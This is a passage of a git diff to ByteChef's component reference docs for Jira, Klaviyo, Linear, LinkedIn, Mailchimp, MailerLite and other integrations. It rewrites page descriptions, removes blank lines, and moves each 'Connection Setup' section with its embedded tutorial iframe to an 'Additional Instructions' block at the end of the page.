-Follow these steps to connect Jira Cloud to ByteChef using OAuth 2.0.
-
-1. Open the Atlassian Developer Console: https://developer.atlassian.com/console/
-2. Sign in with your Atlassian account (create one if needed).
-3. Click **Create** and choose **OAuth 2.0 integration**.
-4. Enter the app details (e.g., App name: "ByteChef Jira Integration") and accept Atlassian's developer terms, then click **Create**.
-5. Click on **Permissions**.
-6. Find Jira API and click **Add** and then click **Configure**.
-7. Configure permissions (scopes):
-   - In the Permissions tab, add the following scopes required by ByteChef Jira component:
-     - manage:jira-webhook
-     - read:jira-work
-     - write:jira-work
-     - read:jira-user
-   - You can adjust scopes later if your workflows need more/less access.
-
-8. Configure a redirect (callback) URL:
-   - Go to the **Authorization** tab and add the Callback URL:
-        - `https://app.bytechef.io/callback` (Cloud)
-        - `http://127.0.0.1:5173/callback` (Local dev)
-
-9. Retrieve credentials:
-   - Open the **Settings** page of your app and copy the **Client ID** and **Client Secret**.
-
-Notes:
-
-- Jira Cloud only: This connection uses Atlassian Cloud APIs. After consent, ByteChef automatically discovers the correct Jira site base URL.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/F5ZSvN2vE0Hbv1eRg6eM?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -106,8 +72,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Issue
 Name: createIssue
 
@@ -171,8 +135,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Issue Comment
 Name: createIssueComment
 
@@ -252,50 +214,6 @@ Type: OBJECT
 ```
 
 
-
-
-### Edit Issue
-Name: editIssue
-
-`Edits an issue.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| project | Project ID | STRING | ID of the project where the issue is located. | false |
-| issueId | Issue ID | STRING <details> <summary> Depends On </summary> project </details> | ID of the issue. | true |
-| summary | Summary | STRING | The summary that will be edited. | false |
-| description | Description | STRING | The description that will be edited. | false |
-| addLabels | Add Labels | ARRAY <details> <summary> Items </summary> [STRING] </details> | List of labels that will be added to the issue. | false |
-| removeLabels | Remove Labels | ARRAY <details> <summary> Items </summary> [STRING] </details> | List of labels that will be removed from the issue. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Edit Issue",
-  "name" : "editIssue",
-  "parameters" : {
-    "project" : "",
-    "issueId" : "",
-    "summary" : "",
-    "description" : "",
-    "addLabels" : [ "" ],
-    "removeLabels" : [ "" ]
-  },
-  "type" : "jira/v1/editIssue"
-}
-```
-
-#### Output
-
-This action does not produce any output.
-
-
-
-
-
-
 ### Get Issue
 Name: getIssue
 
@@ -369,8 +287,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### List Issue Comments
 Name: listIssueComments
 
@@ -451,8 +367,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Search Issues
 Name: searchForIssuesUsingJql
 
@@ -504,44 +418,6 @@ Items Type: OBJECT
 
 
 
-
-### Transition Issue
-Name: transitionIssue
-
-`Move an issue to another status.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| project | Project ID | STRING | ID of the project where the issue is located. | false |
-| issueId | Issue ID | STRING <details> <summary> Depends On </summary> project </details> | ID of the issue to be assigned. | true |
-| statusId | Status ID | STRING <details> <summary> Depends On </summary> issueId </details> | ID of the status you want to put the issue in. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Transition Issue",
-  "name" : "transitionIssue",
-  "parameters" : {
-    "project" : "",
-    "issueId" : "",
-    "statusId" : ""
-  },
-  "type" : "jira/v1/transitionIssue"
-}
-```
-
-#### Output
-
-This action does not produce any output.
-
-
-
-
-
-
-
 ## Triggers
 
 
@@ -593,7 +469,6 @@ Type: OBJECT
 ```
 
 
-
 ### Updated Issue
 Name: updatedIssue
 
@@ -644,10 +519,46 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Follow these steps to connect Jira Cloud to ByteChef using OAuth 2.0.
+
+1. Open the Atlassian Developer Console: https://developer.atlassian.com/console/
+2. Sign in with your Atlassian account (create one if needed).
+3. Click **Create** and choose **OAuth 2.0 integration**.
+4. Enter the app details (e.g., App name: "ByteChef Jira Integration") and accept Atlassian's developer terms, then click **Create**.
+5. Click on **Permissions**.
+6. Find Jira API and click **Add** and then click **Configure**.
+7. Configure permissions (scopes):
+   - In the Permissions tab, add the following scopes required by ByteChef Jira component:
+     - manage:jira-webhook
+     - read:jira-work
+     - write:jira-work
+     - read:jira-user
+   - You can adjust scopes later if your workflows need more/less access.
+
+8. Configure a redirect (callback) URL:
+   - Go to the **Authorization** tab and add the Callback URL:
+        - `https://app.bytechef.io/callback` (Cloud)
+        - `http://127.0.0.1:5173/callback` (Local dev)
+
+9. Retrieve credentials:
+   - Open the **Settings** page of your app and copy the **Client ID** and **Client Secret**.
+
+Notes:
+
+- Jira Cloud only: This connection uses Atlassian Cloud APIs. After consent, ByteChef automatically discovers the correct Jira site base URL.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/F5ZSvN2vE0Hbv1eRg6eM?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/jotform_v1.mdx b/docs/content/docs/reference/components/jotform_v1.mdx
index 4269f9ccf5b..ea472648016 100644
--- a/docs/content/docs/reference/components/jotform_v1.mdx
+++ b/docs/content/docs/reference/components/jotform_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "JotForm"
-description: "JotForm is an online form builder that enables users to create customized forms for various purposes without needing coding skills."
+description: "JotForm component for ByteChef. Online form builder and data collection. Learn how to implement this in your ByteChef workflows."
+title: JotForm
 ---
 
-
 Categories: Surveys and Feedback
 
 
@@ -33,7 +32,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -95,11 +93,8 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/json-file_v1.mdx b/docs/content/docs/reference/components/json-file_v1.mdx
index 6a43b46d6a9..ee6efb71199 100644
--- a/docs/content/docs/reference/components/json-file_v1.mdx
+++ b/docs/content/docs/reference/components/json-file_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "JSON File"
-description: "Reads and writes data from a JSON file."
+description: "JSON File component for ByteChef. Read and write JSON data. Learn how to implement this in your ByteChef workflows."
+title: JSON File
 ---
 
-
 Categories: Helpers
 
 
@@ -62,8 +61,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Write to File
 Name: write
 
@@ -121,10 +118,4 @@ Type: FILE_ENTRY
   "name" : "",
   "url" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/json-helper_v1.mdx b/docs/content/docs/reference/components/json-helper_v1.mdx
index 377a33b6828..90bf1b9b81d 100644
--- a/docs/content/docs/reference/components/json-helper_v1.mdx
+++ b/docs/content/docs/reference/components/json-helper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "JSON Helper"
-description: "JSON helper component provides actions for parsing and stringifying JSON."
+description: "JSON Helper component. Parse and stringify JSON data. Learn how to implement this in your ByteChef workflows."
+title: JSON Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -47,8 +46,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Convert to JSON String
 Name: stringify
 
@@ -77,12 +74,4 @@ Name: stringify
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/jwt-helper_v1.mdx b/docs/content/docs/reference/components/jwt-helper_v1.mdx
index a88733a68b4..5d79c61d61c 100644
--- a/docs/content/docs/reference/components/jwt-helper_v1.mdx
+++ b/docs/content/docs/reference/components/jwt-helper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "JWT Helper"
-description: "JWT helper component provides actions for signing and verifying JWT tokens."
+description: "JWT Helper component. Sign and verify JWT tokens. Learn how to implement this in your ByteChef workflows."
+title: JWT Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -58,8 +57,6 @@ Type: STRING
 
 
 
-
-
 ### Verify
 Name: verify
 
@@ -94,5 +91,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
+<hr />
 
-
+# Additional Instructions
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/keap_v1.mdx b/docs/content/docs/reference/components/keap_v1.mdx
index c4a92bbcfaf..2e7bcfc5a3d 100644
--- a/docs/content/docs/reference/components/keap_v1.mdx
+++ b/docs/content/docs/reference/components/keap_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Keap"
-description: "Keap is a customer comprehensive customer relationship management platform designed to help small businesses streamline sales, marketing, and customer management processes in one integrated system."
+description: "Keap component for ByteChef. Customer relationship management. Learn how to implement this in your ByteChef workflows."
+title: Keap
 ---
 
-
 Categories: CRM
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -152,8 +150,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -267,8 +263,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Contact
 Name: createContact
 
@@ -506,11 +500,8 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/klaviyo_v1.mdx b/docs/content/docs/reference/components/klaviyo_v1.mdx
index ebf0e808435..bb24221ba1e 100644
--- a/docs/content/docs/reference/components/klaviyo_v1.mdx
+++ b/docs/content/docs/reference/components/klaviyo_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Klaviyo"
-description: "Klaviyo is a marketing automation platform primarily used for email and SMS marketing, especially by e-commerce businesses."
+description: "Klaviyo component for ByteChef. Email marketing automation. Learn how to implement this in your ByteChef workflows."
+title: Klaviyo
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -29,21 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to the dashboard at https://www.klaviyo.com/login?next=/account.
-2. Click on your account.
-3. Click on Settings.
-4. Click on API keys.
-5. Under the Private API Keys section, select Create Private API Key.
-6. Name your API key and select Full Access Key.
-7. Click Create.
-8. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/wgokkQZJMgzfu6z25DJW?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -147,8 +131,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Subscribe Profiles
 Name: subscribeProfiles
 
@@ -181,8 +163,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Update Profile
 Name: updateProfile
 
@@ -386,11 +366,27 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Login to the dashboard at https://www.klaviyo.com/login?next=/account.
+2. Click on your account.
+3. Click on Settings.
+4. Click on API keys.
+5. Under the Private API Keys section, select Create Private API Key.
+6. Name your API key and select Full Access Key.
+7. Click Create.
+8. Copy the API key. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/wgokkQZJMgzfu6z25DJW?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/liferay_v1.mdx b/docs/content/docs/reference/components/liferay_v1.mdx
index a4ed857c933..c820b2036ce 100644
--- a/docs/content/docs/reference/components/liferay_v1.mdx
+++ b/docs/content/docs/reference/components/liferay_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Liferay"
-description: "Liferay is an open-source digital experience platform for enterprise content management (ECM) and portal development."
+description: "Liferay component for ByteChef. Integrate with Liferay portal platform and manage digital content in workflows."
+title: Liferay
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -54,7 +53,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -95,8 +93,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### JSON WS Services
 Name: jsonWsRequest
 
@@ -126,12 +122,4 @@ Name: jsonWsRequest
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/linear_v1.mdx b/docs/content/docs/reference/components/linear_v1.mdx
index 31ba251e110..6fa4de8e4b3 100644
--- a/docs/content/docs/reference/components/linear_v1.mdx
+++ b/docs/content/docs/reference/components/linear_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Linear"
-description: "Linear is a project management and issue tracking tool designed primarily for software teams."
+description: "Linear component for ByteChef. Issue tracking and management. Learn how to implement this in your ByteChef workflows."
+title: Linear
 ---
 
-
 Categories: Project Management
 
 
@@ -30,21 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to the dashboard at https://linear.app/login.
-2. You need to create a new OAuth2 Application to get credentials. First click on your profile.
-3. Click on Settings.
-4. Under Administration section, choose API.
-5. Click on New OAuth application.
-6. Fill information and enable Public.
-7. Enable Webhooks and fill information. Then click Create.
-8. Copy the Client ID and Client secret. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/WxAFGHjl0yfpptJdJLNU?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -115,8 +99,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Issue
 Name: updateIssue
 
@@ -181,8 +163,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Project
 Name: createProject
 
@@ -245,8 +225,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Project
 Name: updateProject
 
@@ -309,8 +287,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Comment
 Name: createComment
 
@@ -370,8 +346,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Raw Graphql Query
 Name: rawGraphqlQuery
 
@@ -422,8 +396,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -478,7 +450,6 @@ Type: OBJECT
 ```
 
 
-
 ### Updated Issue
 Name: updatedIssue
 
@@ -530,7 +501,6 @@ Type: OBJECT
 ```
 
 
-
 ### Removed Issue
 Name: removedIssue
 
@@ -584,4 +554,21 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
 
+1. Login to the dashboard at https://linear.app/login.
+2. You need to create a new OAuth2 Application to get credentials. First click on your profile.
+3. Click on Settings.
+4. Under Administration section, choose API.
+5. Click on New OAuth application.
+6. Fill information and enable Public.
+7. Enable Webhooks and fill information. Then click Create.
+8. Copy the Client ID and Client secret. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/WxAFGHjl0yfpptJdJLNU?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/linkedin_v1.mdx b/docs/content/docs/reference/components/linkedin_v1.mdx
index 971065cbb89..e9ffff0e18a 100644
--- a/docs/content/docs/reference/components/linkedin_v1.mdx
+++ b/docs/content/docs/reference/components/linkedin_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "LinkedIn"
-description: "LinkedIn is a professional networking platform that enables users to connect with colleagues, discover job opportunities, and share industry-related content."
+description: "LinkedIn component for ByteChef. Integrate LinkedIn profile management and professional networking automation."
+title: LinkedIn
 ---
 
-
 Categories: Communication, Social Media
 
 
@@ -30,38 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-To integrate LinkedIn with ByteChef, you will need a LinkedIn account and access to a LinkedIn Company Page.
-
-1. Go to the `https://www.linkedin.com/developers`.
-2. Click on **My apps**.
-3. Click on **Create app**.
-4. Fill in the required fields:
-    - **App name**: Enter a name for your application (e.g., `bytechef integration`).
-    - **LinkedIn Page**: Enter a LinkedIn Company Page or use the Create a new LinkedIn Page link to create one on-the-fly.
-    - **App logo**: Upload an image for your application.
-     - **Legal agreement**: Check the box to agree to the Legal agreement.
-5. Click on **Create app**.
-6. This should open the Products tab. Select the products/APIs you want to enable for your app.
-7. Request access for the **Share on LinkedIn**
-8. Request access for the **Sign In with LinkedIn using OpenID Connect**
-9. Go to the **Auth** tab.
-10. Specify the URL where users will be redirected after authorization (e.g., `https://app.bytechef.io/callback`)
-11. Copy the **Client ID** and **Client Secret** for later use.
-
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
-    <iframe src="https://www.guidejar.com/embed/w1vC0F2FhnUDnhSWXJ66?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
-
-To post as an organization, you need to verify your app as being associated with this company.
-
-1. Go to the **Settings** tab.
-2. Click **Verify**.
-3. Click **Generate URL**.
-4. Copy URL and send it to a Company Page admin for verfication.
-5. Once verification is complete, return to the **Products** tab and enable the **Advertising API** to allow posting as an organization.
-
 
 
 <hr />
@@ -142,8 +109,6 @@ Type: STRING
 
 
 
-
-
 ### Delete Post
 Name: deletePost
 
@@ -175,8 +140,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -239,10 +202,44 @@ Items Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+To integrate LinkedIn with ByteChef, you will need a LinkedIn account and access to a LinkedIn Company Page.
+
+1. Go to the `https://www.linkedin.com/developers`.
+2. Click on **My apps**.
+3. Click on **Create app**.
+4. Fill in the required fields:
+    - **App name**: Enter a name for your application (e.g., `bytechef integration`).
+    - **LinkedIn Page**: Enter a LinkedIn Company Page or use the Create a new LinkedIn Page link to create one on-the-fly.
+    - **App logo**: Upload an image for your application.
+     - **Legal agreement**: Check the box to agree to the Legal agreement.
+5. Click on **Create app**.
+6. This should open the Products tab. Select the products/APIs you want to enable for your app.
+7. Request access for the **Share on LinkedIn**
+8. Request access for the **Sign In with LinkedIn using OpenID Connect**
+9. Go to the **Auth** tab.
+10. Specify the URL where users will be redirected after authorization (e.g., `https://app.bytechef.io/callback`)
+11. Copy the **Client ID** and **Client Secret** for later use.
+
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+    <iframe src="https://www.guidejar.com/embed/w1vC0F2FhnUDnhSWXJ66?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
+</div>
+
+To post as an organization, you need to verify your app as being associated with this company.
+
+1. Go to the **Settings** tab.
+2. Click **Verify**.
+3. Click **Generate URL**.
+4. Copy URL and send it to a Company Page admin for verfication.
+5. Once verification is complete, return to the **Products** tab and enable the **Advertising API** to allow posting as an organization.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/logger_v1.mdx b/docs/content/docs/reference/components/logger_v1.mdx
index c3bf4fff780..d5a74e07362 100644
--- a/docs/content/docs/reference/components/logger_v1.mdx
+++ b/docs/content/docs/reference/components/logger_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Logger"
-description: "Logs a value to the system log."
+description: "Logger component for ByteChef. Write messages to system logs. Learn how to implement this in your ByteChef workflows."
+title: Logger
 ---
 
-
 Categories: Helpers
 
 
@@ -47,8 +46,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Error
 Name: error
 
@@ -79,8 +76,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Info
 Name: info
 
@@ -111,8 +106,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Warn
 Name: warn
 
@@ -138,12 +131,4 @@ Name: warn
 
 #### Output
 
-This action does not produce any output.
-
-
-
-
-
-
-
-
+This action does not produce any output.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/mailchimp_v1.mdx b/docs/content/docs/reference/components/mailchimp_v1.mdx
index 2b238e93be5..20ca6b89044 100644
--- a/docs/content/docs/reference/components/mailchimp_v1.mdx
+++ b/docs/content/docs/reference/components/mailchimp_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Mailchimp"
-description: "Mailchimp is a marketing automation and email marketing platform."
+description: "Mailchimp component for ByteChef. Email marketing platform. Learn how to implement this in your ByteChef workflows."
+title: Mailchimp
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -103,7 +101,7 @@ Name: addMemberToList
 
 ___Sample Output:___
 
-```{last_note={created_by=string, note_id=0, created_at=2019-08-24T14:15:22, note=string}, email_address=string, status=subscribed, unsubscribe_reason=string, timestamp_opt=2019-08-24T14:15:22, ip_opt=string, location={longitude=0, region=string, latitude=0, dstoff=0, timezone=string, country_code=string, gmtoff=0}, ip_signup=string, tags=[{id=0, name=string}], marketing_permissions=[{text=string, marketing_permission_id=string, enabled=true}], email_type=string, language=string, interests={property1=true, property2=true}, timestamp_signup=2019-08-24T14:15:22, id=string, _links=[{method=GET, targetSchema=string, schema=string, href=string, rel=string}], web_id=0, member_rating=0, vip=true, last_changed=2019-08-24T14:15:22, source=string, consents_to_one_to_one_messaging=true, email_client=string, unique_email_id=string, tags_count=0, list_id=string, full_name=string, merge_fields={property1=, property2=}, stats={avg_click_rate=0, avg_open_rate=0, ecommerce_data={total_revenue=0, number_of_orders=0, currency_code=USD}}, contact_id=string}```
+```{last_changed=2019-08-24T14:15:22, vip=true, member_rating=0, web_id=0, _links=[{schema=string, targetSchema=string, method=GET, rel=string, href=string}], id=string, timestamp_signup=2019-08-24T14:15:22, interests={property2=true, property1=true}, language=string, email_type=string, marketing_permissions=[{enabled=true, marketing_permission_id=string, text=string}], tags=[{id=0, name=string}], ip_signup=string, location={dstoff=0, latitude=0, region=string, longitude=0, gmtoff=0, country_code=string, timezone=string}, ip_opt=string, timestamp_opt=2019-08-24T14:15:22, unsubscribe_reason=string, status=subscribed, email_address=string, last_note={note_id=0, created_by=string, note=string, created_at=2019-08-24T14:15:22}, contact_id=string, stats={avg_click_rate=0, ecommerce_data={number_of_orders=0, total_revenue=0, currency_code=USD}, avg_open_rate=0}, merge_fields={property2=, property1=}, full_name=string, list_id=string, tags_count=0, unique_email_id=string, email_client=string, consents_to_one_to_one_messaging=true, source=string}```
 
 
 
@@ -220,8 +218,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -272,10 +268,8 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/mailerlite_v1.mdx b/docs/content/docs/reference/components/mailerlite_v1.mdx
index b4cc9e84328..e601ccaa081 100644
--- a/docs/content/docs/reference/components/mailerlite_v1.mdx
+++ b/docs/content/docs/reference/components/mailerlite_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "MailerLite"
-description: "MailerLite is an intuitive email marketing platform that offers automation, landing pages, and subscriber management for businesses and creators."
+description: "MailerLite component for ByteChef. Email marketing automation. Learn how to implement this in your ByteChef workflows."
+title: MailerLite
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -29,25 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find API Token
-
-1. Navigate to your MailerLite dashboard.
-2. Click on **Integrations**.
-3. Click on **API**.
-4. Click on **Generate new token**.
-5. Enter name of your API token.
-6. Enable **Terms of Use**.
-7. Click on **Create token**.
-8. **Copy** your API token because you will not be able to see the full token again.
-9. Exit the popup window.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/1e893316-4f6e-4317-8a49-0dede23bf9f4?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -125,8 +105,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create or Update Subscriber
 Name: createOrUpdateSubscriber
 
@@ -191,8 +169,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Remove Subscriber from Group
 Name: removeSubscriberFromGroup
 
@@ -226,8 +202,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -265,7 +239,6 @@ Type: OBJECT
 ```
 
 
-
 ### Subscriber Created
 Name: subscriberCreated
 
@@ -300,7 +273,6 @@ Type: OBJECT
 ```
 
 
-
 ### Subscriber Unsubscribed
 Name: subscriberUnsubscribed
 
@@ -337,4 +309,25 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find API Token
+
+1. Navigate to your MailerLite dashboard.
+2. Click on **Integrations**.
+3. Click on **API**.
+4. Click on **Generate new token**.
+5. Enter name of your API token.
+6. Enable **Terms of Use**.
+7. Click on **Create token**.
+8. **Copy** your API token because you will not be able to see the full token again.
+9. Exit the popup window.
+
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/1e893316-4f6e-4317-8a49-0dede23bf9f4?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
